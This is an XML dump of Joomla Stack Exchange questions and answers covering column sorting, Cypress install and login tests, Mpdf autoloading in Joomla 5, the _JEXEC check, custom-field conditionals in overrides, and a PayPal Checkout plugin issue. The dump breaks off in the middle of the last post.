  <row Id="33478" PostTypeId="2" ParentId="33477" CreationDate="2023-11-15T10:49:02.267" Score="1" Body="&lt;p&gt;This is an example from a View of mine where the HTMLView class gets the List Order and Direction values&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;listOrder  = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$this-&amp;gt;listDirn   = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and in the /tmpl folder the values are added to the table column headings&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;th class='left'&amp;gt;&#xA;    &amp;lt;?php echo HTMLHelper::_('searchtools.sort',  'JGRID_HEADING_ID', 'a.id', $this-&amp;gt;listDirn, $this-&amp;gt;listOrder); ?&amp;gt;&#xA;&amp;lt;/th&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;More commonly you would find examples of &lt;code&gt;$listOrder&lt;/code&gt; and &lt;code&gt;$ListDirn&lt;/code&gt; being set in the top of the /tmpl file rather than using the $this to  pass them across from the HTML View class.&lt;/p&gt;&#xA;&lt;p&gt;This allows people to click on the column headings to change the sort column and order. I rarely use the Sort option of the filter_view.xml, I find it cumbersome to maintain and not that intuitive for the end user.&lt;/p&gt;&#xA;&lt;p&gt;The columns that you wish to sort on must also appear in the Model as part of the __construct&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function __construct($config = array())&#xA;    {&#xA;        if (empty($config['filter_fields']))&#xA;        {&#xA;            $config['filter_fields'] = array(&#xA;                'id', 'a.`id`',&#xA;....&#xA;            );&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Although the property is &lt;code&gt;filter_fields&lt;/code&gt; you will also find if the column(s) you want to sort on does not appear in this array then you will not be able to sorting on that column(s).&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2023-11-15T10:57:31.213" LastActivityDate="2023-11-15T10:57:31.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33480" PostTypeId="2" ParentId="28311" CreationDate="2023-11-16T12:15:37.790" Score="0" Body="&lt;p&gt;The solution was a plugin with two functions:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;onContentPrepareForm&lt;/em&gt; to add the form with a media field.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;onBeforeCompileHead&lt;/em&gt; to add a custom tag for the og-image.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14176" LastActivityDate="2023-11-16T12:15:37.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33481" PostTypeId="1" CreationDate="2023-11-16T13:41:29.217" Score="0" ViewCount="15" Body="&lt;p&gt;So locally I'm working fine with cypress tests for my Joomla Component.&#xA;When I try to test the Joomla installation in my repository on GitHub something is wrong.&lt;/p&gt;&#xA;&lt;p&gt;My cypress config is similar to this one:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/5.0-dev/cypress.config.dist.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/5.0-dev/cypress.config.dist.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and I use the same installation test that Joomla uses:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/5.0-dev/tests/System/integration/install/Installation.cy.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/5.0-dev/tests/System/integration/install/Installation.cy.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;using these Helpers:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla-projects/joomla-cypress&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-projects/joomla-cypress&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem I have is that the &lt;code&gt;installJoomla&lt;/code&gt; function from this helper:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla-projects/joomla-cypress/blob/develop/src/joomla.js&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-projects/joomla-cypress/blob/develop/src/joomla.js&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;is not deleting the installation folder like the &lt;code&gt;installJoomlaMultilingualSite&lt;/code&gt; does.&lt;/p&gt;&#xA;&lt;p&gt;So this always fails because the installation folder is still there:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cy.installJoomla(config);&#xA;cy.doAdministratorLogin(config.username, config.password, false); // fails&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastActivityDate="2023-11-16T13:41:29.217" Title="Cypress Joomla installation test fails" Tags="|cms-testing|cypress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33482" PostTypeId="1" CreationDate="2023-11-16T15:16:19.270" Score="0" ViewCount="53" Body="&lt;p&gt;I have a Joomla 4 site and have enabled the 'Media Action - Resize' plugin, I have set the max width and max height in the plugin params to be 500&lt;/p&gt;&#xA;&lt;p&gt;When I upload an image via Content &amp;gt; Media, it resizes the image with no problems.&lt;/p&gt;&#xA;&lt;p&gt;When I upload via Article &amp;gt; Image and Links &amp;gt; Full Article Image, it doesn't resize&lt;/p&gt;&#xA;&lt;p&gt;I also have some media custom fields in the article, which it doesn't resize using those either.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way I can get the resize function to work via the Article Image upload and the Media custom field upload?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2023-11-16T15:16:19.270" Title="Media Resize plugin not working on article images" Tags="|articles|images|media-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33483" PostTypeId="2" ParentId="33327" CreationDate="2023-11-17T07:27:36.810" Score="0" Body="&lt;p&gt;See the Joomla manual, in particular the &amp;quot;Using the PHP cURL Functions&amp;quot; part (because you probably run it outside the Joomla framework) : &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/webservices#using-the-php-curl-functions&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://manual.joomla.org/docs/general-concepts/webservices#using-the-php-curl-functions&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;An interesting article about using the Web Services API: &lt;a href=&quot;https://magazine.joomla.org/all-issues/march-2023/playing-with-the-joomla-api-part-1&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/march-2023/playing-with-the-joomla-api-part-1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-11-17T07:27:36.810" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33484" PostTypeId="1" CreationDate="2023-11-18T15:54:09.257" Score="0" ViewCount="18" Body="&lt;p&gt;I'm trying to run the original Joomla Cypress tests here:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/5.0-dev/tests/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/5.0-dev/tests/System&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After Joomla gets successfully installed I always get this message when the next test starts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;CypressError: This session already exists. You may not create a new session with a previously used identifier. If you want to create a new session with a different setup function, please call `cy.session()` with a unique identifier other than **[&amp;quot;admin&amp;quot;,&amp;quot;adminadminadmin&amp;quot;,&amp;quot;back&amp;quot;]**.&#xA;&#xA;https://on.cypress.io/session&#xA;      at Context.session (http://127.0.0.1:8000/__cypress/runner/cypress_runner.js:133555:72)&#xA;      at wrapped (http://127.0.0.1:8000/__cypress/runner/cypress_runner.js:138644:43)&#xA;  From Your Spec Code:&#xA;          at Context.eval(webpack:///./tests/System/support/commands.js:57:12)&#xA;      &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm using the same Helper Functions Joomla uses for Backend Login:&lt;br /&gt;&#xA;&lt;a href=&quot;https://github.com/joomla-projects/joomla-cypress&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-projects/joomla-cypress&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the command Joomla uses for picking up the session:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cypress.Commands.overwrite('doAdministratorLogin', (originalFn, username, password, useSnapshot = true) =&amp;gt; {&#xA;  // Ensure there are valid credentials&#xA;  const user = username ?? Cypress.env('username');&#xA;  const pw = password ?? Cypress.env('password');&#xA;&#xA;  // Do normal login when no snapshot should be used&#xA;  if (!useSnapshot) {&#xA;    // Clear the session data&#xA;    Cypress.session.clearAllSavedSessions();&#xA;&#xA;    // Call the normal function&#xA;    return originalFn(user, pw);&#xA;  }&#xA;&#xA;  // Do login through the session&#xA;  return cy.session([user, pw, 'back'], () =&amp;gt; originalFn(user, pw), { cacheAcrossSpecs: true });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So i minimized everything like seen here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;describe('First Admin Login', () =&amp;gt; {&#xA;    it('First Admin Login', () =&amp;gt; {&#xA;        cy.doAdministratorLogin('admin', 'adminadminadmin', false);&#xA;    })&#xA;    it('Second Admin Login (session based)', () =&amp;gt; {&#xA;        cy.doAdministratorLogin();&#xA;    });&#xA;})&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second admin login always fails like described above.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2023-11-18T16:20:26.633" LastActivityDate="2023-11-18T16:20:26.633" Title="Cypress testing command doAdministratorLogin fails" Tags="|cms-testing|cypress|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33485" PostTypeId="1" AcceptedAnswerId="33488" CreationDate="2023-11-20T13:12:21.543" Score="0" ViewCount="103" Body="&lt;p&gt;In my Joomla 4 component I successfully used the Mpdf library. Since migrating to Joomla 5, the library does not initialise properly. This is the setup that worked in Joomla 4:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class MyModel extends BaseModel&#xA;{&#xA;&#xA;   public function generatePDF($data)&#xA;   {&#xA;      $mpdf = new \Mpdf\Mpdf([]); &#xA;      ...&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The composer.json which loads the Mpdf version working with PHP 8.2 &lt;a href=&quot;https://mpdf.github.io/about-mpdf/requirements-v7.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mpdf.github.io/about-mpdf/requirements-v7.html&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;config&amp;quot;: {&#xA;    &amp;quot;vendor-dir&amp;quot;: &amp;quot;admin/vendor&amp;quot;,&#xA;    &amp;quot;platform&amp;quot;: {&#xA;      &amp;quot;php&amp;quot;: &amp;quot;8.2.0&amp;quot;&#xA;    }&#xA;  }, &amp;quot;require: {&#xA;    &amp;quot;mpdf/mpdf&amp;quot;: &amp;quot;^8.1.3&amp;quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The vendor classes are located in /administrator/components/com_mycomponent/vendor which contains the /autoload.php as well.&lt;/p&gt;&#xA;&lt;p&gt;In the mycomponent.xml the vendor files are registered like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;  &amp;lt;files folder=&amp;quot;admin&amp;quot;&amp;gt;&#xA;     ...&#xA;     &amp;lt;folder&amp;gt;vendor&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&#xA;&amp;lt;/administration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What is the proper way to autoload external libraries in Joomla 5?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-11-21T17:37:36.713" LastActivityDate="2023-11-21T17:39:20.983" Title="Autoload external library in Joomla 5 component" Tags="|libraries|autoload|joomla-5.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33486" PostTypeId="1" CreationDate="2023-11-20T16:28:22.250" Score="1" ViewCount="49" Body="&lt;p&gt;I know, that the first line in PHP Files is because of security reasons. I read it here: &lt;a href=&quot;https://docs.joomla.org/Why_do_most_of_the_Joomla!_PHP_files_start_with_defined(%27_JEXEC%27)%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Why_do_most_of_the_Joomla!_PHP_files_start_with_defined(%27_JEXEC%27)%3F&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But in the Joomla Core Code I find different commands. For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;\defined('JPATH_PLATFORM') or die;&lt;/code&gt;,&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;\defined('JPATH_BASE') or die;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;\defined('_JEXEC') or die;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Which line should PHP files in Joomla start with?&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2023-11-21T08:19:37.530" Title="Which line should PHP files in Joomla start with?" Tags="|php|joomla-4.x|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33487" PostTypeId="2" ParentId="33486" CreationDate="2023-11-21T08:19:37.530" Score="3" Body="&lt;p&gt;It makes no difference when used in extensions. But if you want to be technically correct, &lt;code&gt;_JEXEC&lt;/code&gt; is the one to use. It's declared earliest, in the entry point file (i.e. &lt;code&gt;index.php&lt;/code&gt;), and its sole purpose is for performing this entry point check. Other global constants may generally work but it's not really their purpose.&lt;/p&gt;&#xA;&lt;p&gt;Also, &lt;code&gt;JPATH_PLATFORM&lt;/code&gt; is deprecated as of 4.4 so definitely don't use that.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-11-21T08:19:37.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33488" PostTypeId="2" ParentId="33485" CreationDate="2023-11-21T17:39:20.983" Score="0" Body="&lt;p&gt;Solution:&lt;/p&gt;&#xA;&lt;p&gt;There is one missing piece of the puzzle. The component must have access to the autoloader. To do this, you need to place this line of code on my component's service provider - like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;//require_once __DIR__ . '/../vendor/autoload.php'; // This did not work in my case&#xA;require_once JPATH_ADMINISTRATOR . '/components/com_mycomponent/vendor/autoload.php';&#xA;&#xA;/**&#xA; * The service provider.&#xA; *&#xA; * @since  4.0.0&#xA; */&#xA;return new class() implements ServiceProviderInterface&#xA;{&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2023-11-21T17:39:20.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33489" PostTypeId="1" CreationDate="2023-11-21T20:40:30.377" Score="0" ViewCount="62" Body="&lt;p&gt;I am using the following code to pull in some custom fields into an override of com_content &amp;gt; category &amp;gt; blog_item.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$video = $this-&amp;gt;item-&amp;gt;jcfields[4]-&amp;gt;value;&#xA;$media = $this-&amp;gt;item-&amp;gt;jcfields[8]-&amp;gt;value;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Further down in the file, I have added the following blocks of code to perform some conditionals:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if(isset($media) &amp;amp;&amp;amp; !empty($media)) : ?&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;media-block&amp;quot;&amp;gt;&#xA;    &amp;lt;?php echo $media; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;!-- Media custom field output --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For some reason the if conditionals are not working as expected. The Media custom field output block is always being displayed, even if the custom field has no defined value in the database.&lt;/p&gt;&#xA;&lt;p&gt;Is this an issue with the implementation of the custom fields in the override or something else?&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 3, I was using the following for adding custom fields to com_content template overrides:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$context = 'com_content.article';&#xA;$article = $this-&amp;gt;item;&#xA;$fields = FieldsHelper::getFields($context, $article, true);&#xA;&#xA;foreach($fields as $field) {&#xA;  $fields[$field-&amp;gt;name] = $field;&#xA;}&#xA;&#xA;&amp;lt;!-- Media custom field output --&amp;gt;&#xA;  &amp;lt;?php if(isset($fields['media']-&amp;gt;value) &amp;amp;&amp;amp; !empty($fields['media']-&amp;gt;value)): ?&amp;gt;&#xA;    &amp;lt;?php $class = $fields['media']-&amp;gt;params-&amp;gt;get('render_class'); ?&amp;gt;&#xA;    &amp;lt;?php echo $fields['media']-&amp;gt;value; ?&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;!-- Media custom field output --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I prefer the shortened version for Joomla 4, and would like to keep using it if possible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update with &lt;code&gt;print_r&lt;/code&gt; of &lt;code&gt;$video&lt;/code&gt; variable&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;  [id] =&amp;gt; 4&#xA;  [title] =&amp;gt; YouTube Video&#xA;  [name] =&amp;gt; youtube-video&#xA;  [checked_out] =&amp;gt; &#xA;  [checked_out_time] =&amp;gt; &#xA;  [note] =&amp;gt; &#xA;  [state] =&amp;gt; 1&#xA;  [access] =&amp;gt; 1&#xA;  [created_time] =&amp;gt; 2022-03-23 16:16:30&#xA;  [created_user_id] =&amp;gt; 385&#xA;  [ordering] =&amp;gt; 0&#xA;  [language] =&amp;gt; *&#xA;  [fieldparams] =&amp;gt; Joomla\Registry\Registry Object&#xA;  (&#xA;    [data:protected] =&amp;gt; stdClass Object&#xA;    (&#xA;      [size] =&amp;gt; responsive&#xA;      [width] =&amp;gt; 480&#xA;      [height] =&amp;gt; 270&#xA;      [autoplay] =&amp;gt; 0&#xA;      [cc_load_policy] =&amp;gt; 0&#xA;      [color] =&amp;gt; red&#xA;      [controls] =&amp;gt; 1&#xA;      [disablekb] =&amp;gt; 0&#xA;      [start] =&amp;gt; 0&#xA;      [end] =&amp;gt; 0&#xA;      [fs] =&amp;gt; 1&#xA;      [iv_load_policy] =&amp;gt; 1&#xA;      [loop] =&amp;gt; 0&#xA;      [modestbranding] =&amp;gt; 0&#xA;      [rel] =&amp;gt; 1&#xA;      [privacy_mode] =&amp;gt; 0&#xA;    )&#xA;&#xA;    [initialized:protected] =&amp;gt; 1&#xA;    [separator:protected] =&amp;gt; .&#xA;  )&#xA;&#xA;  [params] =&amp;gt; Joomla\Registry\Registry Object&#xA;  (&#xA;    [data:protected] =&amp;gt; stdClass Object&#xA;    (&#xA;      [hint] =&amp;gt; &#xA;      [class] =&amp;gt; &#xA;      [label_class] =&amp;gt; &#xA;      [show_on] =&amp;gt; 2&#xA;      [showon] =&amp;gt; &#xA;      [render_class] =&amp;gt; &#xA;      [value_render_class] =&amp;gt; &#xA;      [showlabel] =&amp;gt; 1&#xA;      [label_render_class] =&amp;gt; &#xA;      [display] =&amp;gt; 0&#xA;      [prefix] =&amp;gt; &#xA;      [suffix] =&amp;gt; &#xA;      [layout] =&amp;gt; &#xA;      [display_readonly] =&amp;gt; 0&#xA;      [searchindex] =&amp;gt; 0&#xA;      [rules] =&amp;gt; Array&#xA;      (&#xA;        [0] =&amp;gt; stdClass Object&#xA;        (&#xA;          [matching_method] =&amp;gt; all&#xA;          [enabled] =&amp;gt; 1&#xA;          [rules] =&amp;gt; Array&#xA;          (&#xA;            [0] =&amp;gt; stdClass Object&#xA;            (&#xA;              [name] =&amp;gt; &#xA;              [enabled] =&amp;gt; 1&#xA;            )&#xA;          )&#xA;        )&#xA;      )&#xA;      [acf_custom_css] =&amp;gt; &#xA;      [acf_layout_override] =&amp;gt; default&#xA;    )&#xA;  [initialized:protected] =&amp;gt; 1&#xA;  [separator:protected] =&amp;gt; .&#xA;  )&#xA;&#xA;  [type] =&amp;gt; acfyoutube&#xA;  [default_value] =&amp;gt; &#xA;  [context] =&amp;gt; com_content.article&#xA;  [group_id] =&amp;gt; 0&#xA;  [label] =&amp;gt; YouTube Video&#xA;  [description] =&amp;gt; &#xA;  [required] =&amp;gt; 0&#xA;  [only_use_in_subform] =&amp;gt; 0&#xA;  [language_title] =&amp;gt; &#xA;  [language_image] =&amp;gt; &#xA;  [editor] =&amp;gt; &#xA;  [access_level] =&amp;gt; Public&#xA;  [author_name] =&amp;gt; Mike Hermary&#xA;  [group_title] =&amp;gt; &#xA;  [group_access] =&amp;gt; &#xA;  [group_state] =&amp;gt; &#xA;  [group_note] =&amp;gt; &#xA;  [value] =&amp;gt;                                           &#xA;  [rawvalue] =&amp;gt; &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update two with var_dump of $media custom field&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#2173 (33) &#xA;[&amp;quot;id&amp;quot;]=&amp;gt; int(8)&#xA;[&amp;quot;title&amp;quot;]=&amp;gt; string(14) &amp;quot;External Media&amp;quot;&#xA;[&amp;quot;name&amp;quot;]=&amp;gt; string(14) &amp;quot;external-media&amp;quot;&#xA;[&amp;quot;checked_out&amp;quot;]=&amp;gt; NULL&#xA;[&amp;quot;checked_out_time&amp;quot;]=&amp;gt; NULL&#xA;[&amp;quot;note&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;[&amp;quot;state&amp;quot;]=&amp;gt; int(1)&#xA;[&amp;quot;access&amp;quot;]=&amp;gt; int(1)&#xA;[&amp;quot;created_time&amp;quot;]=&amp;gt; string(19) &amp;quot;2022-04-08 11:18:06&#xA;[&amp;quot;created_user_id&amp;quot;]=&amp;gt; int(385)&#xA;[&amp;quot;ordering&amp;quot;]=&amp;gt; int(0)&#xA;[&amp;quot;language&amp;quot;]=&amp;gt; string(1) &amp;quot;*&amp;quot;&#xA;[&amp;quot;fieldparams&amp;quot;]=&amp;gt;&#xA;  object(Joomla\Registry\Registry)#1563 (3) {&#xA;    [&amp;quot;data&amp;quot;:protected]=&amp;gt; object(stdClass)#1556 (4) {&#xA;      [&amp;quot;iframeheight&amp;quot;]=&amp;gt; string(4) &amp;quot;100%&amp;quot;&#xA;      [&amp;quot;iframescrolling&amp;quot;]=&amp;gt; string(4) &amp;quot;auto&amp;quot;&#xA;      [&amp;quot;iframeasync&amp;quot;]=&amp;gt; string(1) &amp;quot;1&amp;quot;&#xA;      [&amp;quot;iframeparams&amp;quot;]=&amp;gt; string(23) &amp;quot;allowfullscreen loading&amp;quot;&#xA;    }&#xA;    [&amp;quot;initialized&amp;quot;:protected]=&amp;gt; bool(true)&#xA;    [&amp;quot;separator&amp;quot;:protected]=&amp;gt; string(1) &amp;quot;.&amp;quot;&#xA;  }&#xA;  [&amp;quot;params&amp;quot;]=&amp;gt; object(Joomla\Registry\Registry)#1561 (3) {&#xA;    [&amp;quot;data&amp;quot;:protected]=&amp;gt; object(stdClass)#1554 (12) {&#xA;      [&amp;quot;hint&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;class&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;label_class&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;show_on&amp;quot;]=&amp;gt; string(1) &amp;quot;2&amp;quot;&#xA;      [&amp;quot;render_class&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;value_render_class&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;showlabel&amp;quot;]=&amp;gt; string(1) &amp;quot;0&amp;quot;&#xA;      [&amp;quot;label_render_class&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;display&amp;quot;]=&amp;gt; string(1) &amp;quot;0&amp;quot;&#xA;      [&amp;quot;layout&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;      [&amp;quot;display_readonly&amp;quot;]=&amp;gt; string(1) &amp;quot;1&amp;quot;&#xA;      [&amp;quot;rules&amp;quot;]=&amp;gt; array(1) {&#xA;        [0]=&amp;gt; object(stdClass)#1553 (3) {&#xA;          [&amp;quot;matching_method&amp;quot;]=&amp;gt; string(3) &amp;quot;all&amp;quot;&#xA;          [&amp;quot;enabled&amp;quot;]=&amp;gt; string(1) &amp;quot;1&amp;quot;&#xA;          [&amp;quot;rules&amp;quot;]=&amp;gt; array(1) {&#xA;            [0]=&amp;gt; object(stdClass)#1552 (2) {&#xA;              [&amp;quot;name&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;              [&amp;quot;enabled&amp;quot;]=&amp;gt; string(1) &amp;quot;1&amp;quot;&#xA;            }&#xA;          }&#xA;        }&#xA;      }&#xA;    }&#xA;    [&amp;quot;initialized&amp;quot;:protected]=&amp;gt; bool(true)&#xA;    [&amp;quot;separator&amp;quot;:protected]=&amp;gt; string(1) &amp;quot;.&amp;quot;&#xA;  }&#xA;  [&amp;quot;type&amp;quot;]=&amp;gt; string(9) &amp;quot;acfiframe&amp;quot;&#xA;  [&amp;quot;default_value&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;  [&amp;quot;context&amp;quot;]=&amp;gt; string(19) &amp;quot;com_content.article&amp;quot;&#xA;  [&amp;quot;group_id&amp;quot;]=&amp;gt; int(0)&#xA;  [&amp;quot;label&amp;quot;]=&amp;gt; string(14) &amp;quot;External Media&amp;quot;&#xA;  [&amp;quot;description&amp;quot;]=&amp;gt; string(68) &amp;quot;Use this field to embed audio and video media from external websites&amp;quot;&#xA;  [&amp;quot;required&amp;quot;]=&amp;gt; int(0)&#xA;  [&amp;quot;only_use_in_subform&amp;quot;]=&amp;gt; int(0)&#xA;  [&amp;quot;language_title&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;language_image&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;editor&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;access_level&amp;quot;]=&amp;gt; string(6) &amp;quot;Public&amp;quot;&#xA;  [&amp;quot;author_name&amp;quot;]=&amp;gt; string(12) &amp;quot;Mike Hermary&amp;quot;&#xA;  [&amp;quot;group_title&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;group_access&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;group_state&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;group_note&amp;quot;]=&amp;gt; NULL&#xA;  [&amp;quot;value&amp;quot;]=&amp;gt; string(42) &amp;quot; &amp;quot;&#xA;  [&amp;quot;rawvalue&amp;quot;]=&amp;gt; string(0) &amp;quot;&amp;quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;" OwnerUserId="8253" LastEditorUserId="8253" LastEditDate="2023-11-22T18:09:56.463" LastActivityDate="2023-11-24T05:56:09.763" Title="How to conditionally display custom fields in template overrides" Tags="|php|joomla-4.x|custom-field|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="33490" PostTypeId="1" CreationDate="2023-11-21T21:10:59.087" Score="0" ViewCount="39" Body="&lt;p&gt;Joomla ‎4.3.4&lt;/p&gt;&#xA;&lt;p&gt;VM 4.2.2&lt;/p&gt;&#xA;&lt;p&gt;VM PayPal Checkout 4.2.2&lt;/p&gt;&#xA;&lt;p&gt;VM PayPal 4.2.2&lt;/p&gt;&#xA;&lt;p&gt;We have been using the VM PayPal plugin for a while now and are in the process of changing to PayPal Checkout so that we get to use the advanced credit card option from PayPal that uses the more updated version of the PayPal API.&#xA;We have set up the account with the help and confirmation from the PayPal team for the new options needed, but when we select and publish this payment method, the form for the payment that is shown in the front is not a working one:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LpA7y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LpA7y.png&quot; alt=&quot;Form for Advanced credit card&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In this form, there should be PayPal buttons, but not only are these buttons missing, but the space for the credit card information (Number, Exp. Date, CVV) is empty without input.&#xA;The settings for the plugin are:&#xA;Payment Method Information:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a 